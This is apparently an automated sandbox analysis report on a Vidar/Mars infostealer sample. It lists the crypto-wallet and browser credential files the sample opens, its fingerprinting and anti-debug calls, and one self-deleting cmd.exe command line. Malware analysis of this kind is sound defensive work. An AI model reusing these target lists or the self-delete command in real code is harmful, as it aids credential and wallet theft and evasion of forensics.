Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_004098D0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00401280
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00401090
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00408920
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	1_2_00409D30
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409B60
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00405F70

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFF5134 VirtualQuery,GetSystemInfo,

0_2_00007FF7BDFF5134

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Builded.exe, 00000001.00000002.1699174653.0000000000706000.00000004.00000020.00020000.00000000.sdmp, Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

API call chain: ExitProcess graph end node

graph_1-4409

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFFAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7BDFFAC68

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_00404A00 VirtualProtect ?,00000004,00000100,00000000

1_2_00404A00

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

1_2_00407A40

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_00401000 mov eax, dword ptr fs:[00000030h]	1_2_00401000
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_0042E014 mov eax, dword ptr fs:[00000030h]	1_2_0042E014
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_0042E084 mov eax, dword ptr fs:[00000030h]	1_2_0042E084
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: 1_2_0040C370 mov eax, dword ptr fs:[00000030h]	1_2_0040C370

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BE0041B0 GetProcessHeap,

0_2_00007FF7BE0041B0

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF6B24 SetUnhandledExceptionFilter,	0_2_00007FF7BDFF6B24
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFFAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7BDFFAC68
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF5CE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7BDFF5CE0
Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: 0_2_00007FF7BDFF6940 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7BDFF6940

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7BDFEECE0

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BE008DF0 cpuid

0_2_00007FF7BE008DF0

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_00007FF7BDFEDE44
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,		1_2_0040AFF0

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFF400C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF7BDFF400C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_0040AE90 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

1_2_0040AE90

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Code function: 1_2_0040AF30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

1_2_0040AF30

Source: C:\Users\user\Desktop\8BQ2v9glrG.exe

Code function: 0_2_00007FF7BDFD6768 GetVersionExW,

0_2_00007FF7BDFD6768

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Builded.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Builded.exe, 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\data.safe.bin	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\45e26519-596d-41a5-b290-e547b44111fd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a5d6ec76-765c-4778-afd2-1e05a1554d8e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829702.cde8135c-88c3-4c34-8670-7ef017742548.new-profile.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\background-update	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834620.c7889da7-33f0-4599-8452-58d47c58437b.main.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829744.7278f154-e8f4-4235-84c5-c5c1c6af0084.main.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\7d12ac42-15c3-4db9-abfe-259bc8d249ac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1435a377-bbaf-4c9c-8706-0811a779fa3f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\.metadata-v2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\808127e8-e7ed-4078-b3f3-7f09061a011f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\15f01145-7764-450b-9ad5-323693350a9c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857833.45e26519-596d-41a5-b290-e547b44111fd.health.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.a73949a2-5a70-4025-8008-88156c16bb4a.event.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\a7174184-f177-48c4-876a-8a51c2ed8fbc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829737.9f7a5e7a-2be0-4ff7-b132-b1f6e59a8e58.event.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857860.81ddb4cc-1d49-45f2-961f-e24ea6db2be5.health.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834608.65054280-9d54-477d-a3ea-afcb1f88e001.health.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\events	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\12f997af-c065-4562-b9f6-11000bb95c9b	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\05d02ac8-b2f1-4670-8541-db8ec2bbf427	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834580.6fc53411-ad83-4cf6-a5f6-905f0f3f52e8.health.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\1d5599c8-3f43-42cc-8163-9a43c60a06d1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333857869.95af30ae-acac-4802-b983-233d7fd3cf34.main.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
